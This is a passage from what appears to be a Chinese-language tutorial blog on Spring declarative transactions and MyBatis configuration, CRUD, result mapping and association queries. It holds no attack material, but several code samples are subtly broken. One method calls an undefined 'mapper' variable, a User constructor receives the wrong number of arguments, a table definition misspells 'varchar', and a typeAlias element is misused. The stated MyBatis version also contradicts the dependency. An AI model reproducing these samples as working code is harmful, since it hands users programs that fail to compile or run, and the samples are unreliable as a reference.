11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//执行查询全部,不使用service
@Test
public void test02() {
String config = "applicationContext.xml";
ApplicationContext ac = new ClassPathXmlApplicationContext(config);
//获取mapper的代理对象
StudentMapper mapper = (StudentMapper) ac.getBean("studentMapper");
List<Student> students = mapper.queryAll();
for (Student student : students) {
System.out.println("student--->"+student);
}
}

//执行增加学生,使用service
@Test
public void test03() {
String config = "applicationContext.xml";
ApplicationContext ac = new ClassPathXmlApplicationContext(config);
//获取service对象
IStudentService service = (IStudentService) ac.getBean("studentServiceImpl");
Student student = new Student();
student.setStuName("呵呵");
student.setStuNo(1111);
student.setCardID(1115);
student.setClassID(1);
service.addStudent(student);

}

5、处理事务

5.1 什么是事务
事务是指一组sql语句的集合, 集合中有多条sql语句可能是insert , update ,select ,delete, 我们希望这些多个sql语句都能成功,或者都失败, 这些sql语句的执行是一致的,作为一个整体执行。关于事务最经典的例子就是转账了。

5.2 使用spring内部注解处理事务

加入事务相关依赖

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>5.2.5.RELEASE</version>
</dependency>

案例:数据库有两张表,一张sale表,该表是商品订单信息;一张goods表,该表是商品库存信息。service类有一个业务方法buy,该方法指定要购买商品的id和数量,dao有三个方法分别是像sale表增加一条购买记录、更新goods表的库存信息、在goods表查询指定id商品是否存在。
下面是两张表的记录信息

sale表(初始是空表,因为还没有购买记录),id字段自增长

goods表

业务流程大致是这样,用户向buy方法传递两个参数,分别是goods表的id字段和购买数量nums。buy方法体中的第一个方法是向sale表增加一条记录,类似与buy(1002,20),那么sale表应该多出来一条如下记录

因为sale表id字段是自增长的,所以自动为1。

先看一下buy方法的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
public void buy(Integer goodsId, Integer nums) {
//sale表新增购买记录
//更新库存
//先查询该编号的商品是否存在
Goods goods = goodsMapper.queryGoods(goodsId);
//进行判断
if (goods == null) {
//说明商品不存在
} else if (goods.getAmount() < nums) {
//说明库存不足
}
//能够进行到这里说明商品信息是合法的,可以更新库存
}

首先根据用户传入的参数id和nums向sale表新增一条购买记录。即有商品卖出去了,那么我们理应更新一下库存对吧,不然怎么知道还有多少货,万一别人要买100件商品而你只有50件肯定会导致别人购买失败对吧。那么问题就就来了,当我们执行完向sale表新增记录后,就该更新库存了,我们必须要知道刚卖出去的商品是谁对吧,这个通过用户传入的id和商品表goods的id字段一一对应,所以先去数据库查询用户传入的id是否存在goods表中,若不存在应该将事务回滚,即前面向sale表增加的记录是不应该存在的;同理,若用户传入的id商品在goods表中,但是用户要求的数量大于该商品当前库存,事务也应该回滚;只有当用户传入的id商品和数量都满足条件时我们才应该更新库存并且提交事务。
该介绍的都介绍完了,开始着手干吧。

实体类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
public class Goods {
private Integer id;
private String name;
private Integer amount;
private Float price;
public Goods() {
}
public Goods(Integer id, String name, Integer amount, Float price) {
this.id = id;
this.name = name;
this.amount = amount;
this.price = price;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Integer getAmount() {
return amount;
}
public void setAmount(Integer amount) {
this.amount = amount;
}
public Float getPrice() {
return price;
}
public void setPrice(Float price) {
this.price = price;
}
@Override
public String toString() {
return "Goods{" +
"id=" + id +
", name='" + name + '\'' +
", amount=" + amount +
", price=" + price +
'}';
}
}
public class Sale {
private Integer id;
private Integer gid;
private Integer nums;
public Sale() {
}
public Sale(Integer id, Integer gid, Integer nums) {
this.id = id;
this.gid = gid;
this.nums = nums;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public Integer getGid() {
return gid;
}
public void setGid(Integer gid) {
this.gid = gid;
}
public Integer getNums() {
return nums;
}
public void setNums(Integer nums) {
this.nums = nums;
}
@Override
public String toString() {
return "Sale{" +
"id=" + id +
", gid=" + gid +
", nums=" + nums +
'}';
}
}

mapper接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public interface GoodsMapper {
/**
* 更新库存
* goods表示本次用户购买的商品信息
* @param goods
*/
void updateGoods(Goods goods);

//查询商品信息
Goods queryGoods(Integer id);
}
public interface SaleMapper {
//增加销售记录
void addSale(Sale sale);
}

mapper.xml映射文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<mapper namespace="com.mms.mapper.GoodsMapper">
<!--更新商品信息-->
<update id="updateGoods" parameterType="Goods">
update goods set amount = amount - #{amount} where id = #{id}
</update>
<!--查询商品信息-->
<select id="queryGoods" resultType="Goods">
select * from goods where id = #{id}
</select>
</mapper>
<mapper namespace="com.mms.mapper.SaleMapper">
<!--增加销售记录-->
<insert id="addSale" parameterType="Sale">
insert into sale (gid,nums) values (#{gid},#{nums})
</insert>
</mapper>

service接口

1
2
3
4
public interface IBuyGoodsService {
//购买商品的方法,goodsId是购买商品的编号,nums是购买商品的数量
void buy(Integer goodsId,Integer nums);
}

service实现类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
public class BuyGoodsServiceImpl implements IBuyGoodsService {

private SaleMapper saleMapper;
private GoodsMapper goodsMapper;
//set注入赋值
public void setSaleMapper(SaleMapper saleMapper) {
this.saleMapper = saleMapper;
}

public void setGoodsMapper(GoodsMapper goodsMapper) {
this.goodsMapper = goodsMapper;
}


/**
* 购买商品方法
* goodsId表示要购买的商品编号,nums表示购买的数量
* @param goodsId
* @param nums
*/

/*
1、@Transactional定义在需要加入事务处理的方法上面
2、rollbackFor
1)当方法发生的异常属于rollbackFor,事务就会回滚
2)当方法发生的异常不属于rollbackFor,spring就会判断发生的异常是不是运行时异常,
若是运行时异常,事务就会回滚

@Transactional(
propagation = Propagation.REQUIRED,
isolation = Isolation.DEFAULT,
readOnly = false,
rollbackFor = {
NullPointerException.class,
NotEnoughException.class
}

)*/

//开发中推荐使用默认值,直接使用@Transactional注解
@Transactional
@Override
public void buy(Integer goodsId, Integer nums) {
System.out.println("buy开始...");

/*
记录销售的信息,向sale表添加记录,由于sale表id是自增长的,所以不需要设置id属性
向sale表添加一条购买记录
*/
Sale sale = new Sale();
sale.setGid(goodsId);
sale.setNums(nums);
saleMapper.addSale(sale);

//更新库存
//先查询该编号的商品是否存在
Goods goods = goodsMapper.queryGoods(goodsId);
//进行判断
if (goods == null) {
//说明商品不存在
throw new NullPointerException("编号为:"+goodsId+"商品不存在...");
} else if (goods.getAmount() < nums) {
//说明库存不足
throw new NotEnoughException("编号为:"+goodsId+"商品库存不足...");
}

//能够进行到这里说明商品信息是合法的,可以更新库存
Goods good = new Goods();
good.setId(goodsId);
good.setAmount(nums);
goodsMapper.updateGoods(good);

System.out.println("buy结束...");
}
}

mybatis核心配置文件和整合mybatis一致,这里就不给出了
spring配置文件也和整合部分一致,只需要在根标签beans加入以下部分即可

1
2
3
4
5
6
7
8
<!--声明使用spring的事务处理-->
<!--1、声明事务管理器-->
<bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
<!--连接的数据库,指定数据源-->
<property name="dataSource" ref="myDataSource"/>
</bean>
<!--2、开启事务注解驱动,告诉sprint使用注解管理事务,创建代理对象-->
<tx:annotation-driven transaction-manager="transactionManager"/>

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//不使用事务测试
@Test
public void test01() {
String config = "applicationContext.xml";
ApplicationContext ac = new ClassPathXmlApplicationContext(config);
//获取service对象
IBuyGoodsService service = (IBuyGoodsService) ac.getBean("buyGoodsService");

//商品编号不存在情况
//java.lang.NullPointerException: 编号为:1003商品不存在...
//service.buy(1003,50);
//商品库存不足情况
//com.mms.exception.NotEnoughException: 编号为:1002商品库存不足...
//service.buy(1002,100);
//正常情况
service.buy(1002,10);
}

5.3 使用aspectj框架处理事务

aspectJ处理事务是基于配置文件形式的,别的地方都和上面一样,只需要更改service实现类的buy方法和spring核心配置文件即可。

1、取消buy方法上的事务注解,因为我们现在是使用aspectJ,基于配置文件
2、将spring注解形式事务开发的spring配置文件中加入的声明事务管理器的部分换成下面的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!--
使用aspectj方式的事务(声明式事务)
1、aspectj事务适合大型项目,因为其声明在配置文件中,大大与程序解耦合
-->
<!--1、声明事务管理器-->
<bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager">
<property name="dataSource" ref="myDataSource"/>
</bean>
<!--
2、声明业务方法的事务属性(隔离级别、传播行为、超时时间)
id:自定义
transaction-manager:事务故管理器对象的id值
-->
<tx:advice id="myAdvice" transaction-manager="transactionManager">
<!--tx:attributes配置事务属性-->
<tx:attributes>
<!--
tx:method:给具体的方法配置事务属性,method可以有多个,由于给多个方法配置事务
name:方法名,不带包名和类名,方法可以使用通配符
propagation:传播行为,枚举类
isolation:隔离级别
rollback-for:你指定的异常全限定类名,发生异常一定回滚
-->
<tx:method name="buy"
propagation="REQUIRED"
isolation="DEFAULT"
rollback-for="java.lang.NullPointerException,com.mms.exception.NotEnoughException"/>
</tx:attributes>
</tx:advice>

<aop:config>
<!--
3、配置切入点表达式
为什么需要配置切入点表达式?
因为步骤2中的方法不确定是哪一个类、哪一个包的方法,所以需要指定
-->
<aop:pointcut id="servicePt" expression="execution(* *..service..*.*(..))"/>
<!--
配置增强器,用于关联advice和pointcut
advice-ref:通知,上面的tx:advice的id值
pointcut-ref:切入点表达式的id值
-->
<aop:advisor advice-ref="myAdvice" pointcut-ref="servicePt"/>
</aop:config>

测试类与前面的一样。

Read More
post @ 2024-02-13

介绍

  • 什么是 Mybatis ?

MyBatis 是一款优秀的持久层框架,它支持自定义 SQL、存储过程以及高级映射。MyBatis 免除了几乎所有的 JDBC 代码以及设置参数和获取结果集的工作。MyBatis 可以通过简单的 XML 或注解来配置和映射原始类型、接口和 Java POJO(Plain Old Java Objects,普通老式 Java 对象)为数据库中的记录。

  • Mybatis 历史

Mybatis 是 Apache 软件基金会下的一个开源项目, 前身是 ibatis 框架。 2010 年这个项目由 apache 软件基金会迁移到 google code 下, 改名为 Mybatis。 2013 年 11 月又迁移到了 github

  • 通俗说 Mybatis 到底可以做什么?

平时我们都用 JDBC 访问数据库,除了需要自己写 SQL 之外,还必须操作 Connection, Statement, ResultSet,这些其实只是手段的辅助类。 不仅如此,访问不同的表,还会写很多相同的代码,显得繁琐和枯燥。

那么用了 Mybatis 之后,只需要自己提供 SQL 语句,其他的工作,诸如建立连接 Statement, JDBC 相关异常处理等等都交给 Mybatis 去做了,那些重复性的工作 Mybatis 也给做掉了,开发者只需要关注在增删改查等操作层面上,而 Mybatis 把技术细节都封装在了我们看不见的地方。

框架原理

1、Mybatis 配置文件 SqlMapConfig.xml :此文件作为 mybatis 的全局配置文件,定义了 mybatis 运行的基础环境信息,如数据库链接信息等。mapper.xml 文件,这些文件是 sql 映射文件,文件配置了操作数据库的 sql 语句,此文件需要在 SqlMapConfig.xml 中配置加载。

2、通过 mybatis 环境等配置信息构造 SqlSessionFactory,即会话工厂。

3、由会话工厂创建 sqlSession 即会话,操作数据库需要通过 sqlSession 进行。

4、mybatis 底层自定义了 Executor 执行器接口操作数据库,Executor 接口有两个实现,一个是基本执行器、一个是缓存执行器。

5、Mapped Statement 也是 mybatis 一个底层封装对象,它包装了 mybatis 配置信息及 sql 映射信息等。mapper.xml 文件中一个 sql 对应一个 Mapped Statement 对象,sql 的 id 即是 Mapped statement 的 id。

6、Mapped Statement 对 sql 执行输入参数进行定义,包括 HashMap、基本类型、pojo,Executor 通过 Mapped Statement 在执行 sql 前将输入的 java 对象映射至 sql 中,输入参数映射就是 jdbc 编程中对 preparedStatement 设置参数。

7、Mapped Statement 对 sql 执行输出结果进行定义,包括 HashMap、基本类型、pojo,Executor 通过 Mapped Statement 在执行 sql 后将输出结果映射至 java 对象中,输出结果映射过程相当于 jdbc 编程中对结果的解析处理过程。

入门实现CRUD

  1. JDK:1.8
  2. mybatis:3.5.7
  3. maven 工程

1、创建 maven 工程,导入依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.27</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.5</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.22</version>
</dependency>
</dependencies>

<!-- 使得代码目录下的xml配置文件被解析 否则可能报错-->
<build>
<resources>
<resource>
<directory>src/main/java</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
<filtering>true</filtering>
</resource>
<resource>
<directory>src/main/resources</directory>
<includes>
<include>**/*.properties</include>
<include>**/*.xml</include>
</includes>
<filtering>true</filtering>
</resource>
</resources>
</build>

2、创建实体类

1
2
3
4
5
6
7
8
9
10
11
12
public class User {
private Integer id;
private String name;
private String password;

public User(Integer id, String name, String password) {
this.id = id;
this.name = name;
this.password = password;
}
/* getters, setters, toString*/
}

3、用户接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public interface UserDao {
/**
* 添加
*/
int saveUser(User user);

/**
* 更新
*/
void updateUserById(User user);

/**
* 查询
*/
List<User> findAll();

/**
* 删除
*/
int deleteById(int id);
}

4、编写配置文件

在 resources 文件夹中,创建 Mybatis 的主配置文件 SqlMapConfig.xml。它是 mybatis 核心配置文件,配置文件内容为数据源、事务管理。
配置环境:

  • 配置 mysql 的环境:
    1. 配置事务的类型;
    2. 配置连接池:配置连接数据库的 4 个基本信息;
  • 指定映射配置文件的位置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<!-- 数据源配置 -->
<!--
default: 当前环境默认数据库环境
-->
<environments default="mysql">
<!-- id: 每个数据库环境的 ID -->
<environment id="mysql">
<!-- 事务管理器,事务控制
jdbc: 数据源事务管理器 ,类似 Spring 的 DataSourceTransactiionManager -->
<transactionManager type="JDBC"></transactionManager>
<!-- type: 连接池类型
POOLED: 使用 mybatis 自带的数据源
UNPOOLED: 不使用数据源 -->
<dataSource type="POOLED">
<!-- 数据库链接配置 -->
<property name="driver" value="com.mysql.cj.jdbc.Driver"/>
<property name="url" value="jdbc:mysql://localhost:3306/test?autoReconnect=true"/>
<property name="username" value="root"/>
<property name="password" value="root"/>
</dataSource>
</environment>
</environments>

<mappers>
<!--
1、指定映射配置文件的位置,映射配置文件指的是每个 dao 独立的配置文件
2、路径必须是反斜杠
-->
<mapper resource="com/mobaijun/dao/mapper/UserDao.xml"/>
</mappers>
</configuration>

5、映射文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.mobaijun.dao.UserDao">
<insert id="saveUser" parameterType="rfam.User">
INSERT INTO user
VALUES (#{id}, #{name}, #{password});
</insert>

<update id="updateUserById" parameterType="rfam.User">
UPDATE user
SET name =#{name}, password = #{password} WHERE id = #{id};
</update>

<delete id="deleteById" parameterType="int">
DELETE
FROM user WHERE id = #{id}
</delete>

<select id="findAll" resultType="rfam.User">
SELECT
id,name,password FROM user
</select>
</mapper>
  • 参数说明
  1. namespace:用来区别不同的类的名字
  2. id: 标识映射文件中的 sql,称为 statement 的 id 将 sql 语句封装到 mappedStatement 对象中,所以将 id 称为 statement 的 id
  3. sql:里面为表所有字段,可自定义或添加别名。
  4. parameterType: 指定输入参数的类型.
  5. resultType: 指定输出结果类型。mybatis 将 sql 查询结果的一行记录数据映射为 resultType 指定类型的对象。如果有多条数据,则分别进行映射,并把对象放到容器 List 中
1
2
3
1、#{}: 一个占位符。preparedStatement 向占位符中设置值,自动进行 java 类型和 jdbc 类型转换。#{} 可以有效防止 sql 注入。 #{} 可以接收简单类型值或 pojo 属性值。 如果 parameterType 传输单个简单类型值,#{} 括号中可以是 value 或其它名称。

2、${}: 表示拼接 sql 串,通过 ${}可以将 parameterType 传入的内容拼接在 sql 中且不进行 jdbc 类型转换,${}可以接收简单类型值或 pojo 属性值,如果 parameterType 传输单个简单类型值,${}括号中只能是 value。

6、编写测试类

在 test->java 目录下创建测试类 com.mobaijun.test.MybatisTest。实现业务需求,共 7 步。

1
2
3
4
5
6
7
1. 扫描 mappper 配置文件 `SqlMapConfig.xml`
2. 创建 `SqlSessionFactoryBuilder` 工厂
3. 创建 `SqlSessionFactory` 工厂
4. 创建 `SqlSession`,包含 `CRUD` 方法
5. 获取 Mapper 接口的代理对象
6. 使用代理执行 CRUD 操作
7. 关闭资源
  • 示例代码
    利用工具类来获取sqlsession 避免重复代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    package util;
    /***************/
    public class MybatisUtil {
    private static SqlSessionFactory ssf;
    static {
    String resource = "mybatis_config.xml";
    try {
    // 1. 读取配置文件
    InputStream is = Resources.getResourceAsStream(resource);
    // 2. 创建 SqlSessionFactory 工厂
    ssf = new SqlSessionFactoryBuilder().build(is);
    } catch (IOException e) {
    throw new RuntimeException(e);
    }
    }

    public static SqlSession getSqlSession() {
    // 3. 使用工厂生产 SqlSession 对象
    return ssf.openSession();
    }
    }
    注意增删改都需要提交事务
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    public class MybatisTest {

    public void getUsers() {
    SqlSession session = MybatisUtil.getSqlSession();
    UserDao ud = session.getMapper(UserDao.class);
    List<User> us = ud.findAll();
    for (User u : us) {
    System.out.println(u);
    }
    session.commit();
    session.close();
    }

    /**
    * 删除
    */
    public void deleteById() {
    SqlSession session = MybatisUtil.getSqlSession();
    // 4. 执行 Sql 语句
    UserDao userDao = session.getMapper(UserDao.class);
    // 5. 执行 SQL
    userDao.deleteById(1);
    // 6. 释放资源
    session.close();
    }
    /**
    * 更新
    */
    public void updateUserById(User user) {
    SqlSession session = MybatisUtil.getSqlSession();
    UserDao userDao = session.getMapper(UserDao.class);
    mapper.updateUserById(user);
    session.commit();
    session.close();
    }

    /**
    * 新增
    */
    public void saveUser() {
    SqlSession session = MybatisUtil.getSqlSession();
    // 4. 执行 Sql 语句
    UserDao userDao = session.getMapper(UserDao.class);
    User user;
    for (int i = 0; i < 100; i++) {
    user = new User(i+1, "aa", "bb", "123456");
    log.info("代理对象:" + userDao.getClass());
    // 5. 执行 SQL
    userDao.saveUser(user);
    // 6. 提交数据
    session.commit();
    System.out.println(user);
    }
    // 7. 释放资源
    session.close();
    }
    }

利用Map传参/获取结果

当实体类或数据库中的表 字段过多 可以考虑使用map

示例:
映射文件和UserDao中新增 saveUserWithMap sql语句中插入值可以通过map的键获取

1
2
3
4
<insert id="saveUserWithMap" parameterType="map">  
INSERT INTO user
VALUES (#{uid}, #{uname}, #{upwd});
</insert>

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void saveUserWithMap() {
SqlSession session = MybatisUtil.getSqlSession();
UserDao ud = session.getMapper(UserDao.class);
// 构造map
Map<String, Object> map = new HashMap<>();
map.put("uname", "bbb");
map.put("uid", 2);
map.put("upwd", "5351");
// 执行sql
ud.saveUserWithMap(map);
session.commit();
// 7. 释放资源
session.close();
}

配置文件

利用property引入外部/内部配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<properties resource="path/to/f.properties">
<property name="username" value="root"/>
</properties>

<environments default="mysql">
<environment id="mysql">
<transactionManager type="JDBC"></transactionManager>
<dataSource type="POOLED">
<!-- 数据库链接配置 -->
<property name="driver" value="com.mysql.cj.jdbc.Driver"/>
<property name="url" value="jdbc:mysql://localhost:3306/test?autoReconnect=true"/>
<property name="username" value="${username}"/>
<property name="password" value="root"/>
</dataSource>
</environment>
</environments>

<mappers>
<mapper resource="com/mobaijun/dao/mapper/UserDao.xml"/>
</mappers>
</configuration>

利用typeAlias取别名

这样在映射文件中使用别名就可以 减少冗余

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<properties resource="path/to/f.properties">
<property name="username" value="root"/>
</properties>
<typeAliases>
<typeAlias type="rfam.User" alias="User"/>
</typeAliases>
<!-- .... -->
</configuration>

也可以指定包名 然后在实体类中通过注解取别名

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<properties resource="path/to/f.properties">
<property name="username" value="root"/>
</properties>
<typeAliases>
<typeAlias package="rfam"/>
</typeAliases>
<!-- .... -->
</configuration>
1
2
3
4
5
6
7
8
9
10
11
12
13
@Alias("hello")
public class User {
private Integer id;
private String name;
private String password;

public User(Integer id, String name, String password) {
this.id = id;
this.name = name;
this.password = password;
}
/* getters, setters, toString*/
}

日志

STDOUT_LOGGING: 标准输出
LOG4J, SLF4J 需要在maven中导入对应的包

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE configuration
PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
<configuration>
<properties resource="path/to/f.properties">
<property name="username" value="root"/>
</properties>
<settings>
<setting name="logImpl" value="STDOUT_LOGGING"/>
</settings>
<!-- .... -->
</configuration>

生命周期与作用域

  • SqlSessionFactoryBuilder: 一旦创建就不再需要
  • SqlSessionFactory: 创建后在应用的运行期间一直存在 适合单例/静态模式
  • SqlSession: 用于连接连接池, 不是线程安全的,因此不能共享 最佳作用域为方法作用域;用完应释放资源

resultMap

结果集映射
用于将数据库列名映射到类字段名 来构建类对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="com.mobaijun.dao.UserDao">
<resultMap id="rmap" type="rfam.User">
<!-- column为数据库中的列 property为实体类中属性-->
<result column="pwd" property="password"/>
<result column="name" property="name"/>
<result column="id" property="id"/>
</resultMap>

<select id="findAll" resultMap="rmap">
SELECT id,name,pwd FROM user
</select>
</mapper>

分页

  1. 使用sql中原生的limit进行分页
  2. 使用rowBounds
    1
    2
    RowBounds rowBounds = new RowBounds(1,2);  
    List<User> us = session.selectList("dao.UserDao.getUsers", null, rowBounds);

注解开发

  1. 可以直接在接口上使用注解实现执行sql语句
    1
    2
    3
    4
    public interface AnnoUserDao {  
    @Select("select * from user")
    public List<User> getUsers();
    }
  2. 需要在配置文件中绑定接口
    1
    2
    3
    <mappers>  
    <mapper class="dao.AnnoUserDao"/>
    </mappers>
  3. 测试调用
    底层:反射,对mapper生成动态代理,用于处理后续的CRUD方法

CRUD

1
2
3
4
5
public interface AnnoUserDao {  
@Select("select * from user")
public List<User> getUsers();

}

多对一

对象当中还包含待查寻对象 (学生及其对应的老师)
测试环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
create table teacher  
(
id int(10) not null
primary key,
name varchar(30) null
)
charset = utf8;

create table student
(
id int(10) not null
primary key,
name varchar(30) null,
tid int(10) null,
constraint fktid
foreign key (tid) references teacher (id)
)
charset = utf8;

INSERT INTO student(id, name, tid) VALUES (1, 'SA', 1);
INSERT INTO student(id, name, tid) VALUES (2, 'SB', 1);
INSERT INTO student(id, name, tid) VALUES (3, 'SC', 1);
1
2
3
4
5
6
7
8
9
10
public class Student {  
private int id;
private String name;
private Teacher teacher;
// 注意这里需要无参构造函数 否则后续查询可能报错
public Student() {

}
// ....
}
1
2
3
4
5
6
7
public class Teacher {  
private int id;
private String name;
public Teacher() {

}
}

按照查询嵌套处理

查询学生信息:

  1. 获取所有学生信息
  2. 根据tid获取老师信息(子查询)

StudentMapper.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<mapper namespace="multi.dao.StudentMapper">  
<!--使用resultMap将字段映射到对象-->
<select id="getStudents" resultMap="studentTeacher">
select * from student
</select>

<resultMap id="studentTeacher" type="multi.pojo.Student">
<result property="id" column="id"/>
<result property="name" column="name"/>
<!-- 复杂属性需要单独处理 对象:association 集合:collection-->
<association property="teacher" column="tid" select="getTeacherById" javaType="multi.pojo.Teacher"/>
</resultMap>

<select id="getTeacherById" resultType="multi.pojo.Teacher">
select * from teacher where id = #{id}
</select>

</mapper>

测试输出即可得到结果

1
2
3
Student{id=1, name='SA', teacher=Teacher{id=1, name='Ms.Q'}}
Student{id=2, name='SB', teacher=Teacher{id=1, name='Ms.Q'}}
Student{id=3, name='SC', teacher=Teacher{id=1, name='Ms.Q'}}

按照结果嵌套处理

注意给所需的列名取别名

1
2
3
4
5
6
7
8
9
10
11
12
<select id="getStudents2" resultMap="st">  
select student.id sid, student.name sname, tid, teacher.name tname
from student, teacher where student.tid = teacher.id</select>

<resultMap id="st" type="multi.pojo.Student">
<result property="id" column="sid"/>
<result property="name" column="sname"/>
<association property="teacher" javaType="multi.pojo.Teacher">
<result column="tid" property="id"/>
<result column="tname" property="name"/>
</association>
</resultMap>

一对多

一个老师包含多个学生

1
2
3
4
5
public class Teacher {  
private int id;
private String name;
private List<Student> students;
}

按照查询嵌套处理

查询老师信息:

  1. 获取所有老师信息
  2. 根据tid获取所有学生
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <select id="getTeachers2" resultMap="ts2">  
    select * from teacher
    </select>

    <resultMap id="ts2" type="multi.pojo.Teacher">
    <result column="id" property="id"/>
    <result column="name" property="name"/>
    <collection property="students" javaType="ArrayList" ofType="multi.pojo.Student" column="id"
    select="getStudentByTeacher"/>
    </resultMap>

    <select id="getStudentByTeacher" resultType="multi.pojo.Student">
    select * from student where tid = #{id}
    </select>

按照结果嵌套处理

TeacherMapper.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<select id="getTeachers" resultMap="ts">  
select student.id sid, student.name sname, tid, teacher.name tname
from student, teacher
where student.tid = teacher.id
</select>

<resultMap id="ts" type="multi.pojo.Teacher">
<result column="tid" property="id"/>
<result column="tname" property="name"/>
<!-- 指定 集合对象为Student 存入students字段 -->
<collection property="students" ofType="multi.pojo.Student">
<result property="id" column="sid"/>
<result property="name" column="sname"/>
</collection>
</resultMap>

测试输出即可得到结果

1
Teacher{id=1, name='Ms.Q', students=[Student{id=1, name='SA', teacher=null}, Student{id=2, name='SB', teacher=null}, Student{id=3, name='SC', teacher=null}]}

动态sql

就是指根据不同的条件生成不同的sql语句

环境搭建

1
2
3
4
5
6
7
CREATE TABLE blog (
id varchar(50) NOT NULL,
title varchar(100) NOT NULL,
author varcahr(30) NOT NULL,
create_time datetime NOT NULL,
views int(30) NOT NULL
) charset=utf8

Blog.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class Blog {  
private String id;
private String title;
private String author;
private Date createTime;
private int views;

public Blog() {
}

public Blog(String title, String author, Date createTime, int views) {
this.id = UUID.randomUUID().toString().replace("-", "");
this.title = title;
this.author = author;
this.createTime = createTime;
this.views = views;
}
// ...
}

添加数据

BlogMapper.xml

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8" ?>  
<!DOCTYPE mapper
PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-mapper.dtd">
<mapper namespace="dynamic.dao.BlogMapper">
<insert id="addBlog" parameterType="dynamic.pojo.Blog">
insert into blog
values (#{id}, #{title}, #{author}, #{createTime}, #{views}) </insert>

</mapper>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SqlSession session = MybatisUtil.getSqlSession();  
BlogMapper bm = session.getMapper(BlogMapper.class);
String id = UUID.randomUUID().toString().replace("-", "");

Blog[] blogs = new Blog[]{
